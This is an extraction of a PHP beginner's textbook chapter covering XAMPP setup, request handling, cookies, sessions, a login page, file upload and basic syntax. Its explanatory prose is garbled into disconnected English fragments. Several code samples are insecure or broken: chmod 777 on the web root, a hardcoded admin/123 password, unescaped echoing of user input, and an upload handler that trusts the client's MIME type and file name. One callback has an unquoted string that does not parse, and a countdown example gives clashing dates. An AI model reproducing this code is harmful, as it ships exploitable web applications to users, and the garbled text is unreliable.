www.fairway.com.mm
Professional Web Developer - () PHP Basic 167

() PHP Basic
Request/Response Cookie/Session

HTML Document JavaScript PHP, ASP.NET, JSP, Ruby, Python, Perl


Script JavaScript Web Browser
Script Web Server
Server-side Script

(-) Server-side Script

(-) Document HTML PHP Script


JavaScript Original Script -
Professional Web Developer - () PHP Basic 168

<? print date("d.m.Y") ?>

- PHP Script Document Request Server


Document PHP Script
Respond PHP Script

HTML/CSS/JavaScript
PHP Script
Result Output PHP Script
Original
Document Result Output

Server-side Script
Document Dynamic Web Document

Script Server
Server-side Script Web
Browser PHP ASP.NET Server-side Script
Web Server Programming Language Module
Install

(-) Market Share of Server-side Scripts

() Server-side Script
(-) Website .%
Professional Web Developer - () PHP Basic 169

PHP ASP.NET,
Java Ruby Server-side Script HTML/CSS, JavaScript
Website ColdFusion Perl

Website NodeJS
JavaScript Server-side script

Link: w3techs.com/technologies/overview/programming_language/all

Web App
Web App
App

6.1 - PHP Development Environment


PHP Server-side Script Development Environment

Server-side Script
Web Server

Operating System Desktop


Windows OS Server Linux OS
Windows Linux File Name
Windows Case-sensitive Linux Case-sensitive Windows
readme.txt README.txt File Folder
File Name Linux Name

PHP Development Linux App


Environment Environment OS
Web Developer
Web App Web Server OS Project File
Server Setting App
Linux OS OS Server
Command Line Interface, SSH, File Permission, User Account Management Linux

Ubuntu Linux, LinuxMint, Fedora Linux OS Windows

Web Developer Linux Ubuntu -
Professional Web Developer - () PHP Basic 170

Linux

PHP Development Environment () Web Server, PHP


Database Management System (DBMS) Web Server ()
Apache, Nginx IIS

Apache Web Server


Website .% Web Server Software
Operating System Open Source
Mosaic Browser NCSA
NCSA HTTPd Web
Server Software

nginx ( X ) Open Source Web Server Software


Reverse Proxy Web Server
Igor Sysoev Developer OS
Web Server

IIS Web Server Email Server, FTP Server Microsoft Windows


Windows XP, Windows Server 2003, Windows 7, Windows
Server 2008 Windows Version IIS Version

PHP Server PHP


Apache Web Server
Apache

PHP Development Environment Database Management


System (DBMS) DBMS Programming Language
DBMS
General Purpose DBMS
Special Purpose DBMS Standalone Database
Client-Server Model Database Server
Relational Database Management System (RDBMS) NoSQL Database
System

PHP Database System PHP


MySQL Database Server MySQL
Professional Web Developer - () PHP Basic 171

Development Environment Installation


6.2 - AMP Packages


AMP Apache-MySQL-PHP/Perl/Python AMP Package
Apache, MySQL PHP () Perl () Python Software
Package Apache Web Server Web Server PHP
Server-side Script
AMP Packages AMP Package PHP
Development Environment

Apache Web Server Install


Module PHP Install
Extension mod_php
Apache Module Apache PHP Setting
Request Apache Response Request
PHP Response
PHP

AMP Packages WAMP, LAMP, MAMP, Bitnami, DAMP,


Zend Server AMP Package Package Developer
Setting Package Apache Web Server,
PHP MySQL Module Extension
AMP Package WAMP, LAMP MAMP
AMP WAMP W Windows
WAMP Windows AMP Package LAMP L
Linux LAMP Linux AMP Package MAMP
M Mac MAMP Mac AMP Package

Apache Friends WAMP, LAMP MAMP XAMPP


XAMPP X Cross-Platform
P PHP Perl
Professional Web Developer - () PHP Basic 172

6.3 - Getting XAMPP


XAMPP Installer apachefriends.org Download Windows, Linux, Mac
OS Installer XAMPP 5.5.38, 5.6.24
7.0.9 Version PHP Version

PHP Major Version PHP5 PHP7 PHP5


Version PHP5 5.3, 5.4, 5.5, 5.6
PHP5 Series
Version
Version XAMPP 5.5.38
PHP5.5 Package XAMPP 5.6.24 PHP5.6 Package

PHP PHP6
PHP6 PHP7 XAMPP
7.0.9 PHP7 Package PHP7 XAMPP
Version
XAMPP Download XAMPP 7.x.x Version Download

Download
DVD

6.4 - PHP 7
PHP Programming Language Language Design

Language PHP
Facebook Facebook PHP
()
HipHop for PHP (HPHPc) HPHPc Compiler
PHP Code C++ Code C++ Code
Compile PHP Interpreter
HPHPc HHVM (HipHop Virtual Machine - hhvm.com)
HHVM HPHPc C++ PHP Code Byte Code
Compile Runtime

Hack (hacklang.org) Programming Language Facebook


PHP Dynamic Type Language Hack PHP
Professional Web Developer - () PHP Basic 173

Code Static Type Dynamic Type


Language

PHP Developer HHVM Language Design


Hack PHP HHVM
PHP PHP Core Developer
Unicode Support PHP6
PHP6 Facebook
HHVM

Hack HPHPc
Zephire (zephir-lang.com) Language
HippyVM (hippyvm.com) PHP


PHP Core Team PHPNG
Compiler
PHPNG HHVM Runtime
PHP Interpreter % PHP Core
Team HHVM

() PHP Core Team Developer PHP7 PHP


Version PHPNG ()
Developer

PHP7 PHP5 (Performance) Backward


Compatible PHP5 Code PHP7
Backward Compatible Backward
Compatible PHP5
Code Code
PHP7
PHP5
PHP7
Code PHP5 Version ( - PHP5.2)

Professional Web Developer - () PHP Basic 174

6.5 - Installing XAMPP


PHP7 XAMPP Download Install Installer Run
(-)

(-) XAMPP Windows - Installer Wizard

Next Button


Apache, MySQL, PHP phpMyAdmin

Installation Windows UAC Firewall


" Install " "Service
" Yes, OK,
Allow

Installation (-)
XAMPP Control Panel


Desktop
XAMPP Control Panel Shortcut () Start
Menu XAMPP Control Panel
Shortcut Right-
Professional Web Developer - () PHP Basic 175

Click "Run as administrator" XAMPP


Administrator

(-) XAMPP Windows - Control Panel

Apache Web Server Start Button Apache


Server (-) Process ID (PID) Server
Port
MySQL Database Server
Start Button (-) Apache MySQL Start
Button Stop Button Windows Restart
Start Button Manual Start Service Button Apache
MySQL Windows Service Register

Apache Web Server Running Web Browser URL Bar


http://localhost XAMPP Dashboard (-)
XAMPP Install Apache
Server

Professional Web Developer - () PHP Basic 176

(-) XAMPP Dashboard

Browser Request Time Out http://localhost


Request Time Out Apache Web Server
Windows OS IIS Web Server
Apache Web Server Web Server Port

Windows UAC Anti-
virus, Firewall Program Apache Block Windows
Restart Apache Start Windows UAC Anti-virus, Firewall
Apache Block Allow Allow Allow
Apache Apache Port Setting

Browser http://localhost XAMPP Dashboard


(-) Apache Config Button Apache (httpd.conf)
Professional Web Developer - () PHP Basic 177

(-) Opening Apache Config

Config (-) Listen 80 Listen 90


XAMPP Control Panel Apache Start
Start

(-) Editing Apache Port Setting


Professional Web Developer - () PHP Basic 178

Apache Port Setting Default Value 80 90 XAMPP Dashboard


Browser URL http://localhost:90 Setting
localhost localhost:90

Port Setting XAMPP Uninstall


Install
Emial ()

Install XAMPP on Linux


XAMPP Linux Install
Linux Installer
Installer Executable

$ sudo chmod 755 xampp-linux-*-installer.run

Install Installer Run

$ sudo ./xampp-linux-*-installer.run

XAMPP Installer /opt/lampp Directory Install


Install Apache, MySQL Service Start

$ sudo /opt/lampp/lampp start

Apache MySQL XAMPP Service start


stop, restart Manual Start
OS -

/opt/lampp/lampp start

Command /etc/rc.local File Linux


Ubuntu, LinuxMint OS rc.local
Command OS Run
Professional Web Developer - () PHP Basic 179

Windows User Interface XAMPP Control Panel /opt/lampp


Directory manager-linux.run

$ cd /opt/lampp
$ sudo ./manager-linux.run

PHP Script htdocs Directory Write Permission


Permission
Super User Directory
PHP Script Super User

PHP Script File Directory

Full Write Permission

$ sudo chmod -R 777 /opt/lampp/htdocs

6.6 - First PHP Script


XAMPP Apache Web Server Server-side PHP Script
C:\xampp\htdocs\ Folder hello
Folder
htdocs Folder XAMPP Apache Document Root
Request Apache Web Server Document htdocs Folder
Setting

Linux Document Root /opt/lampp/htdocs Windows


Windows hello
Folder world.php File css, img, js Folder ()
Web Browser URL http://localhost/hello/
(-)
Professional Web Developer - () PHP Basic 180

(-) Apache Directory Browsing

Browser Web Document Index of /hello


hello Folder File Folder Directory Browsing
Website

world.php PHP Script HTML

<!doctype html>
<html>
<head>
<title>Hello, World!</title>
</head>
<body>
<h1>Hello, World!</h1>
<p>Today is: <?php echo date("d / m / Y") ?></p>
<p>
<?php
$now = time();
$newyear = strtotime('2017-04-13');

$sec_left = $newyear - $now;


echo floor($sec_left / (60 * 60 * 24));
?>
days before Happy New Year.
</p>
</body>
</html>
Professional Web Developer - () PHP Basic 181

PHP Code <?php ?> PHP


Code day / month / year
Format
2017
Browser URL Bar http://localhost/hello/world.php
(-)

(-) world.php Result

Browser Right-Click View Page Source (-)


(-) world.php - View Page Source


Professional Web Developer - () PHP Basic 182

Browser HTML Source PHP Code


PHP Code Web Server
HTML Browser Web Server PHP Code

echo date("d / m / Y");

echo Keyword Output


echo print
echo print Performance
echo date() Function

d / m / Y Format date() Function
07 / 04 / 2013 Format date() Function
Format Parameter Parameter

d - (01 31 )
m - (01 12 )
Y - ( - 2013)
D - (Sun Sat )
M - (Jan Dec )
y - ( - 13)
H - (00 23 )
i - (00 59 )
s - (00 59 )

Parameter php.net/manual/en/function.date.php

Code

$now = time();
$newyear = strtotime('2013-04-13');

$sec_left = $newyear - $now;


echo floor($sec_left / (60 * 60 * 24));

$now Variable time() Function Timestamp


Timestamp 01 / 01 / 1970
$now Variable Timestamp
PHP Code Semi-colon ( ; ) Semi-colon

Professional Web Developer - () PHP Basic 183

PHP Variable PHP Dollar Sign


Language Variable
Space + - @ # % Special Character
Underscore Dynamic Type Variable
Data Type PHP
Data Type

strtotime() Function Timestamp 2013-04-


13 Timestamp $newyear
$newyear $now

60 * 60 * 24
floor() Function
echo
() 5

PHP Imperative Language Language Control


Structure Operator C, JavaScript Request
App
PHP Function

PHP Build-in Function Version


Function php.net/quickref.php
PHP Function Function

6.7 - PHP Strings


PHP JavaScript String Double Quote () Single Quote


Quote
Double Quote String Single Quote
Single Quote String Double
Quote Single Quoted String Single Quote
Double Quoted String Double Quote
Single Quote Double Quote
(-)
Quote

Professional Web Developer - () PHP Basic 184

(-) Usage of Double Quotes and Single Quotes

Single Quote Double Quote Double Quoted String


Variable PHP Variable
Single Quoted String Variable
Single Quoted String Double Quoted String
Double Quoted String Variable Single Quoted String


(-)

(-) Variable in Strings

(-) Double Quoted String Output "Hello John Doe, how are you doing?"
Single Quoted String Output "Hello $name, how are you doing?"
Professional Web Developer - () PHP Basic 185

Single Quote $name Variable


String $, ", ' Operator Backslash (\) Escape


Escape Character Single Quote
( \' ) , Double Quote ( \" ), Dollar Sign Character
( \$ ) Backslash
( \\ ) -

$name = "John Doe";


echo "Hello \$name, how are you doing?";

"Hello $name, how are you doing?" Double Quoted String


Dollar Sign Backslash Escape PHP Dollar Sign Variable
Operator name Variable

echo "Bob is \"24\" years old.";

- Bob is "24" years old. Double Quoted String


Double Quote Escape PHP Quote Operator
String
Double Quote (or) Single Quote
Escape Operator Escape

6.8 - PHP Arrays


PHP Array
array() Function Array
Numeric Array Index Array Associative Array Index
Array Associative Array JavaScript JSON

PHP JavaScript Dynamic Type Language Array


Data Type Array Size

Array
Professional Web Developer - () PHP Basic 186

$arr = array();
$arr[0] = "Foo";
$arr[1] = "Bar";
$arr[2] = "Baz";

()

$arr = array("Foo", "Bar", "Baz");

array() Function Array Variable Index



array() Function

JavaScript Array PHP 5.4


Array

$arr = [];
$arr[0] = "Foo";
$arr[1] = "Bar";
$arr[2] = "Baz";

()

$arr = [ "Foo", "Bar", "Baz" ];

PHP 5.3, PHP 5.2 Version Array


Index

$arr = [];
$arr[] = "Foo";
$arr[] = "Bar";
$arr[] = "Baz";

Index
PHP Index

JavaScript PHP

Professional Web Developer - () PHP Basic 187

PHP Case Sensitive Language


Function Function Name
array() Array()

Array Index Array



Static Type Language Multi-Dimensional Array
Multi-dimensional Array Array Index
Array PHP Multi-dimensional Array
Array Index Array
(-)

(-) PHP Numeric Array

$array Index [2] Index [3]


Array Index [0], [1] [4]
Array

Array Associative Array


Numeric Array
Professional Web Developer - () PHP Basic 188

$arr = array();
$arr["foo"] = "Apple";
$arr["bar"] = "Orange";
$arr["baz"] = "Mango";

()

$arr = array("foo"=>"Apple", "bar"=>"Orange", "baz"=>"Mango");

()

$arr = [ "foo"=>"Apple", "bar"=>"Orange", "baz"=>"Mango" ];

array() Function () JSON



Key Value Colon ( : ) PHP Associative
Array Key Value ( => ) Associative
Array Numeric Array (-)

(-) PHP Associative Array


Professional Web Developer - () PHP Basic 189

(-) $array[foo] Array Index


Key Single Quote Double Quote -

echo $array['baz']['a'];

Array Index Key Quote PHP


Array Index Key Quote
PHP Performance

6.9 - Request Handling with PHP


Document
Server
- Google Search

PHP
Request

URL Query
String - "heaviest bells" Keywords Search Result
URL Query String Google Request

http://www.google.com/search?q=heaviest+bells

Search Result Page search Request q=heaviest+bells


Query String Google Server-side Script "heaviest bells"
Keywords Result

Query String URL Resource Location Question Mark


(?) Sign Key=Value
q=heaviest+bells q Key heaviest+bells Value
Key=Value Ampersand ( & ) -

http://www.google.com/search?q=heaviest+bells&hl=my

q=heaviest+bells hl=my &


&
Professional Web Developer - () PHP Basic 190

(-) Query String

(-) Browser Screenshot URL Bar



Request URL heaviest bells
hl=my Interface

PHP URL Query String Associative Array $_GET


Superglobal Variable Superglobal Variable
PHP Language
Variable
(-)

(-) Query String and $_GET Superglobal


Professional Web Developer - () PHP Basic 191

URL Query String


$_GET Variable
PHP Script

$_GET Superglobal Variable


Superglobal Underscore ( $_ )
( - $_GET, $_POST, $_COOKIE, $_SESSION )

Query String
HTML Form HTML
Form
HTML Form PHP
HTML Form

<form action="login.php" method="get">

<input type="text" name="email">


<input type="password" name="password">

<input type="submit" value="Login">

</form>

HTML <form> Element action method Attribute action


Attribute Value PHP Script URL
login.php Form
login.php Script Form Document Script
Folder Root URL Folder
Script Name

method Attribute HTTP Request Method ()


HTTP Request Method Request
Method Method W3C

GET Method GET Method


Request Server
POST
Method Server - Document
Database
Professional Web Developer - () PHP Basic 192

PUT Method Server


DELETE Method
Server

GET, POST, PUT, DELETE Method GET POST


HTML Form GET
POST PUT
DELETE
Web Service API

<form> Element action Attribute Form


Script URL method
Attribute get post HTML Attribute Value
get
Form Input name Attribute
Submit Button Form (-)

(-) HTML Form


Professional Web Developer - () PHP Basic 193

6.10 - GET Requests

htdocs Folder auth Folder


index.php login.php File index.php
HTML Structure <body> Form

<form action="login.php" method="get">


<label for="email">Email (or) User ID</label><br>
<input type="text" name="email" id="email"><br>

<label for="password">Password</label><br>
<input type="password" name="password" id="password"><br><br>

<input type="submit" value="Login">


</form>

Email Password Input Submit Button Form


Browser http://localhost/auth/
(-)

(-) Login Form in Browser

Browser URL Bar auth Folder Name


Login Form Document index.php XAMPP
index.php () index.html Folder Home Page Web
Server index.php () index.html Document Folder

Directory Browsing index.php
Directory Browsing
index.php index.php
Professional Web Developer - () PHP Basic 194

login.php HTML <body> PHP Code


<?php
$email = $_GET['email'];
$password = $_GET['password'];

if($email && $password)


echo "Hello, you have provided <b>$email</b> as your login ID ",
"and your password is <b>$password</b>.";
else
echo "Login ID or password missing! ",
"Please <a href='index.php'>try again</a>.";
?>

Login Form Email Password Submit Button


(-)

(-) Request From Login Form

Browser URL Bar URL

http://localhost/auth/login.php?email=test%40gmail.com&password=123abc45

login.php Query String

name= "email"
Input test@gmail.com Query
String email=test%40gmail.com name="password"
Input Query Value

Professional Web Developer - () PHP Basic 195

Web URL Space Special Character Browser @ Sign


%40 Encode Special Character Code
Form
Value Browser Encode Encode
PHP urlencode() Function urlencode() Function
URL Special Character Encode

Form Query String URL


Form Browser
Query String
Request Code

$email = $_GET['email'];
$password = $_GET['password'];

if($email && $password)


echo "Hello, you have provided <b>$email</b> as your login ID ",
"and your password is <b>$password</b>.";
else
echo "Login ID or password missing! ",
"Please <a href='index.php'>try again</a>.";

Form Input Query String


$_GET Variable Array $_GET
Array email Index $email Variable
$password Variable $_GET Array password Index

Query String PHP $_GET Superglobal Variable


Query String $_GET Variable
URL Bar URL GET Request
Method GET Default Method GET Request
Method $_GET Variable

$email $password if()


"Hello, " Message
$email $password else Block
"Login ID or password missing!" Message

Comma
echo
Keyword
Comma
Professional Web Developer - () PHP Basic 196

if Statement ()
JavaScript if Statement

Message HTML Element


email password Message
try again index.php Link <a> Element
Form email, password
Submit Button

6.11 - POST Requests


index.php <form> method post

<form action="login.php" method="post">


<label for="email">Email (or) User ID</label><br>
<input type="text" name="email" id="email"><br>

<label for="password">Password</label><br>
<input type="password" name="password" id="password"><br><br>

<input type="submit" value="Login">


</form>

Request Method login.php

<?php
$email = $_POST['email'];
$password = $_POST['password'];

if($email && $password)


echo "Hello, you have provided <b>$email</b> as your login ID ",
"and your password is <b>$password</b>.";
else
echo "Login ID or password missing! ",
"Please <a href='index.php'>try again</a>.";
?>

$_GET Variable $_POST Variable PHP Request


Method GET $_GET Superglobal
Request
Method POST $_POST Superglobal



Professional Web Developer - () PHP Basic 197

Form Method post Submit Button


login.php Query String POST Request
GET Request Query String URL
Request Body Submit Button
login.php Keyborad F5 URL Bar Reload
Button Document Refresh (-)
Confirm Message

(-) POST Confirmation

index.php
Document Reload
Server Request Data
Confirm

Resend Button Server Data Document Reload

Professional Web Developer - () PHP Basic 198

6.12 - $_REQUEST Superglobal


Request Method $_REQUEST Super
global - login.php

<?php
$email = $_REQUEST['email'];
$password = $_REQUEST['password'];

if($email && $password)


echo "Hello, you have provided <b>$email</b> as your login ID ",
"and your password is <b>$password</b>.";
else
echo "Login ID or password missing! ",
"Please <a href='index.php'>try again</a>.";
?>

GET Request $_GET Superglobal POST


Request $_POST Superglobal
PUT, DELETE Method Request Value
Variable $_REQUEST Superglobal Method PUT,
DELETE Method

6.13 - Cookie and Session


HTTP Pull Technology Stateless ()
Pull Technology Client Stateless


Request

- Website /

()
Server Server
(Stateless ) Document Request
Request

Cookie HTTP
Cookie Magic Cookie
Magic Cookie
(-) Cookie

Professional Web Developer - () PHP Basic 199

(-) The Origin of the name HTTP Cookie

Cookie Web Browser


Server Request Request Browser

Cookie Browser Request
Request Server

PHP Server-side Respond


Browser Cookie

setcookie("gender", "male");

setcookie() Function gender="male" Cookie


Browser Request gender="male"
Cookie Request
Professional Web Developer - () PHP Basic 200

$_REQUEST Superglobal Request Data Cookie


PHP Cookie Data $_COOKIE Superglobal
Variable
Code Cookie

$sex = $_COOKIE["gender"];
if($sex == "male") {
// do something
} else {
// do something
}

Request Cookie $_COOKIE Superglobal $_COOKIE


gender Index $sex Variable

Cookie setcookie() Function


-

setcookie("gender", "m");

gender="male" gender="m"
Cookie
Expire Time
Cookie
Expire Time setcookie() Function -

setcookie("gender", "female", time() + 3600);

Cookie Name Cookie Value Expire Time


time() Function Timestamp 3600 Cookie
() Browser
Expire Time

setcookie("gender", "female", time() + 60 * 60 * 24 * 7);

PHP
Professional Web Developer - () PHP Basic 201

Cookie
Cookie
App
Web Browser Cookie Extension
Browser "Clear Private Data" Option Cookie


setcookie() Function Expire Time Cookie


Browser Browser
Cookie Cookie Browser
Firefox Web Browser Cookie Google
Chrome

Cookie setcookie() Function Expire Time


Minus -

setcookie("gender", "", time() - 3600);

Cookie
Browser Respond Browser Cookie

Cookie Session Request


Session Data
Session Data Web Server Browser Session ID
Access Token Request Session ID Request
Web Server Token
Session Data

Cookie Session
Cookie Browser Session

Web Server Cookie


Session Server-side PHP
Variable Object Cookie
Expire Time
Session Expire Time
Browser Browser
Session

Professional Web Developer - () PHP Basic 202

Cookie Session Cookie Client-


side Browser Request Client-
Server Session Server-side
Session Server Storage
Server Cookie
Browser
Developer

session_start() Function PHP Session $_SESSION


Session session_start() Function
Session

session_start();
$_SESSION["gender"] = "male";

session_start() Function $_SESSION Superglobal Index



setcookie()
Function Session

session_start();
$sex = $_SESSION["gender"];
if($sex == "male") {
// do something
} else {
// do something
}

Session session_start() Function


session_start() Function "Session
" Session

session_start();
unset( $_SESSION["gender"] );

unset() Function unset() Function Array Index


Variable Function Session
Array Variable unset()
Professional Web Developer - () PHP Basic 203

6.14 - User Login Example


Request User Login Session
Login
auth Folder index.php

<?php
session_start();
$auth = isset($_SESSION['auth']);
?>

<!doctype html>
<html>
<head>
<title>Home Page</title>
<style>
body {
background: #efefef;
font-family: arial;
color: #333;
}

#wrap {
width: 500px;
padding: 20px;
margin: 10px auto;
border: 4px solid #ddd;
background: #fff;
}

h1 {
margin: 0 0 20px 0;
padding: 0 0 10px 0;
border-bottom: 1px solid #ddd;
}

input[type=text], input[type=password] {
display: block;
margin-bottom: 10px;
}

.msg {
width: 500px;
background: #ffd;
border: 2px solid #dda;
text-align: center;
margin: 10px auto;
font-size: 13px;
padding: 6px;
}
</style>
</head>
Professional Web Developer - () PHP Basic 204

<body>
<div id="wrap">
<?php if($auth) { ?>

<h1>Welcome to My Website</h1>
<p>You see this because you are an authenticated user. Congratulation!</p>

<b><?php echo $_SESSION['id'] ?></b>


<a href="logout.php">Logout</a>

<?php } else { ?>

<h1>You need to login</h1>


<form action="login.php" method="post">
<label for="id">User ID</label>
<input type="text" name="id" id="id">

<label for="password">Password</label>
<input type="password" name="password" id="password">

<input type="submit" value="Login">


</form>

<?php } ?>
</div>
</body>
</html>

session_start() Function Document Content


Document $_SESSION Variable auth
Index isset() Function isset() Function Array Index
Variable Function auth Index

Login Information

Login $_SESSION auth Index

<body> Content Login Welcome


Message Content Login Login Form
Browser http://localhost/auth/ Login Form
login.php Code
Professional Web Developer - () PHP Basic 205

<?php
session_start();
$id = $_POST['id'];
$password = $_POST['password'];

if($id == "admin" && $password == "123") {


$_SESSION['auth'] = true;
$_SESSION['id'] = "Admin";
}

header("location: index.php");
?>

login.php HTML PHP Code index.php


id password $_POST Variable id admin,
password 123
$_SESSION auth Index
true id Index Admin

header("location: index.php");

- index.php
Redirect


index.php

Document


HTML login.php id
password index.php
login.php HTML PHP Code

Browser URL Bar http://localhost/auth/ Login Form


Document User ID Box admin Password Box
123 Login Button login.php

login.php $_SESSION index.php
index.php
$_SESSION['auth']
Login Form Welcome Message

Logout logout.php auth Folder


logout.php Script
Code
Professional Web Developer - () PHP Basic 206

<?php
session_start();
unset($_SESSION['auth']);
unset($_SESSION['id']);
header("location: index.php");
?>

logout.php $_SESSION index.php


Logout Link

(-) Login Example

Login/Logout Script Login


Remember Login Forget Password Login
Register Database

6.15 - File Upload


Text
File File Upload File
Upload HTML Form -

<form action="upload.php" method="post" enctype="multipart/form-data">


<input type="file" name="photo">
<input type="submit" value="Upload">
</form>

File <input type="file"> Element Element


Browser File Option
Browser
Professional Web Developer - () PHP Basic 207

File Form Submit


File Server

<form> Element File Method POST


GET Method enctype Attribute Value
multipart/form-data Attribute Server
Binary Data ( File )
Server File Request

(-) Firefox Chrome


File Input

PHP Request File Method POST


File $_POST Superglobal $_FILES
Superglobal

(-) $_FILES Superglobal


Professional Web Developer - () PHP Basic 208

File name, type, size, error, tmp_name


Index () Array $_FILES Superglobal name
File type File size File
Size Byte error File Size Connection
Error
tmp_name Upload File Server

Form Submit File Upload File


Upload File Web Server PHP
Temporary Folder File

htdocs Folder gallery Folder


gallery Folder photo Folder
index.php upload.php gallery Folder
index.php

<!doctype html>
<html>
<head>
<title>Photo Gallery</title>
<style>
body {
background: #efefef;
font-family: arial;
}
#wrap {
width: 900px;
margin: 20px auto;
padding: 20px;
border: 6px solid #ddd;
background: #fff;
}
#gallery img {
width: 200px;
margin: 10px;
}
#form {
margin-top: 20px;
padding: 10px;
background: #efefef;
border-top: 2px solid #ddd;
}
</style>
</head>
<body>
Professional Web Developer - () PHP Basic 209

<div id="wrap">

<div id="gallery">
<?php
$list = scandir("photo");
for($i=2; $i < count($list); $i++) {
$name = $list[$i];
echo "<img src='photo/$name' width='200'>";
}
?>
</div>

<div id="form">
<form action="upload.php" method="post" enctype="multipart/form-data">
<label for="photo">Choose a Photo</label>
<input type="file" name="photo" id="photo">

<input type="submit" value="Upload" />


</form>
</div>
</div>

</body>
</html>

<body> #gallery #form #gallery


scandir() Function photo Folder File scandir()
Function Folder File Folder Array Function
for() Loop File
for() Loop
Variable $i 0 2 scandir() Function
Array Index 0 1 Directory Marker . (Dot) .. (Dot Dot)
Index 2 for()
Loop Parameter count() Function Array Size
Function photo Folder File () count($list) 7
. .. Index $list Array Index () ()
Loop Statements File Name
<img> Element src Attribute photo Folder
File Image #gallery

photo Folder File

#form File Input HTML Form action


upload.php Form Submit File upload.php
upload.php File
Professional Web Developer - () PHP Basic 210

<?php
$name = $_FILES["photo"]["name"];
$tmp = $_FILES["photo"]["tmp_name"];
$type = $_FILES["photo"]["type"];

if($type == "image/jpeg" || $type == "image/png" || $type == "image/gif") {


move_uploaded_file($tmp, "photo/$name");
}

header("location: index.php");
?>

$name, $tmp, $type Variable $_FILES Superglobal File


Name, Temporary Location Type
File JPEG, PNG, GIF Image move_uploaded_file() Function
Temporary Folder File upload Folder
move_uploaded_file() Parameter Upload File
Temporary Location Parameter Location
header() Function index.php
Browser URL Bar http://localhost/gallery/

Choose a Photo Label File Input Image File


Upload Button upload.php Script upload.php
File photo Folder Image photo Folder
index.php Redirect index.php photo Folder
(-)

(-) Photo Gallery Example

File PHP
Professional Web Developer - () PHP Basic 211

PHP File Include

6.16 - Server-side Include


JavaScript File CSS File HTML Document
JavaScript CSS Browser
Request Server

CSS JavaScript
Client Browser

PHP File Include File


PHP Code Server
Server-side Include File
PHP Function -

include()
require()
include_once()
require_once()

- Script config.php Script File


-

include("config.php");

()

require("config.php");

()

include_once("config.php");

()

require_once("config.php");
Professional Web Developer - () PHP Basic 212

config.php File Path


include() require()
include() Function File
Warning Code
require() File Error Script

Script File Script


PHP Error include_once()
require_once() File
File
Error
include_once() require_once()
include() require()

6.17 - Operators
Operator, Keyword Control Structure ()
JavaScript

Operator . (Dot) Operator PHP


Dot Operator JavaScript + Operator
PHP + Operator
Dot Operator -

$img = '<img src="' . $name . '">';

Variable Dot Operator


Java Script += Operator
PHP .= Operator -

$msg = "Welcome to my website.";


$msg .= "You see this because ";
$msg .= "you are an authenticated user.";
Professional Web Developer - () PHP Basic 213

.= Operator $msg Variable


Comparison Operator Operator JavaScript


PHP Not Equal-To Operator
Not Equal-To
JavaScript != Operator <> Operator
Operator

Logical Operator AND (&&), OR (||), NOT (!) JavaScript


AND OR and, or Keyword
-

if($x == $y && $x == 5)

()

if($x == $y and $x == 5)

OR -

if($x == $y || $x == 5)

()

if($x == $y or $x == 5)

Comment Code // Operator


/* */ JavaScript
// # Operator

PHP 7 Spaceship Operator ( <=> ) Operator Operator


0, 1 -1
Ruby Programming Language Operator
Professional Web Developer - () PHP Basic 214

echo 5 <=> 5; # => 0


echo 6 <=> 5; # => 1
echo 5 <=> 6; # => -1

5 5 0 6
5 1
-1 Operator PHP 7
PHP 5 Version

Operator null coalescing operator JavaScript Default


Operator
Question Mark (??) -

$user = $_GET['user'] ?? 'nobody'

$_GET['user'] nobody Default


Operator PHP 7 Operator PHP 5 Version

6.18 - Keywords
PHP Variable Dollar Sign Build-in Keyword

if Language Keyword

$if Variable Function
Keyword PHP Keyword

__halt_compiler, abstract, and, array, as, break, callable, case, catch,


class, clone, const, continue, declare, default, die, do, echo, else,
elseif, empty, enddeclare, endfor, endforeach, endif, endswitch,
endwhile, eval, exit, extends, final, for, foreach, function, global,
goto, if, implements, include, include_once, instanceof, insteadof,
interface, isset, list, namespace, new, or, print, private, protected,
public, require, require_once, return, static, switch, throw, trait, try,
unset, use, var, while, xor
Professional Web Developer - () PHP Basic 215

6.19 - Control Structure


PHP Function function Keyword
JavaScript Dynamic Type Return Type

-

function add($a, $b) {


return $a + $b;
}

add() Function $a $b Parameter


add() Function $a $b return Function Parameter
Default Value -

function add($a, $b = 0) {
return $a + $b;
}

Function Parameter $b 0 Default Value


Function $b 0 $b

PHP 7 Scalar Type Deceleration Return Type Declaration


Function Parameter Data Type
Return Type -

function add(int $a, int $b): int {


return $a + $b;
}

Parameter int $a int $b add() Function


Integer ()
Function : int
Function return Integer
PHP 7 Function
Data Type int float (), String
() Array Data Type
Professional Web Developer - () PHP Basic 216

Function Variable Scope PHP Language


Function Variable Local Variable
Function Function Function
Function Variable
Global Variable Function
Global Variable global Keyword Function
-

$str = "Myanmar";
function say_hello() {
echo "Hello $str";
}

say_hello(); # => Hello

function say_welcome() {
global $str;
echo "Welcome to $str";
}

say_welcome(); # => Welcome to Myanmar

say_welcome() Function global $str $str Global Variable


Global Variable $str

PHP JavaScript Nameless Function () Nameless


Function PHP
-

function add($a, $b, $fn) {


echo $a + $b;
$fn();
}

add(24, 13, function() {


echo Done adding 24 and 13;
});

add() Function Parameter Nameless Function


Callback

Professional Web Developer - () PHP Basic 217

if, switch, for, while, do-while Control Structure


PHP JavaScript Code Block
Template -

if($auth) {
// do something
}

()

if($auth):
// do something
endif;

Colon (:) if endif, switch


endswitch, for endfor, while endwhile
PHP Code PHP Code HTML
foreach() Loop
Array Loop -

$arr = array("foo" => "Apple", "bar" => "Orange", "fiz" => "Mango");
foreach($arr as $key => $val) {
echo "$val is $key.";
}

# => Apple is foo.


# => Orange is bar.
# => Mango is fiz.

$arr Loop Array $key Variable


Index $val Variable
Value $key
$val Variable as Keyword => Operator

Professional Web Developer - () PHP Basic 218

6.20 - Object-oriented Programming in PHP


PHP Language Imperative Language OOP
Class class Keyword

class Animal {
var $legs, $wings;

# constructor
function __construct($legs, $wings) {
$this->legs = $legs;
$this->wings = $wings;
}

function walk() {
# do something
}

static function info() {


return "An Animal";
}
private function calcSpeed() {
# do something
}
}

__construct() Function Constructor Method PHP OOP


Property Method Access Control Modifier Public
info() Method
static
Class Name
calcSpeed() Method private
Object Class Object

$unicorn = new Animal(4, 2);


echo $unicorn->legs; # => 4
echo Animal::info(); # => "An Animal"
echo $unicorn->calcSpeed(); # => Fatal error: Call to private method ...

Object OOP Language new Keyword


(Object Operator) -> Object Property Method Java,
JavaScript OOP Language Dot Operator (.) Property Method
PHP (Object Operator) -> Class
Method info() Class Name (Scope Resolution Operator) ::
calcSpeed() Private Method PHP
Error
Professional Web Developer - () PHP Basic 219

OOP () Object, Inheritance, Information Hiding,


Polymorphism Interface OOP
Rockstar Developer () OOP
PHP OOP

PHP Class Object Private,


Public, Static Access Control Modifier Information Hiding
Inheritance extends Keyword Class Inherit
-

class Dog extends Animal


{
# define methods and properties
}

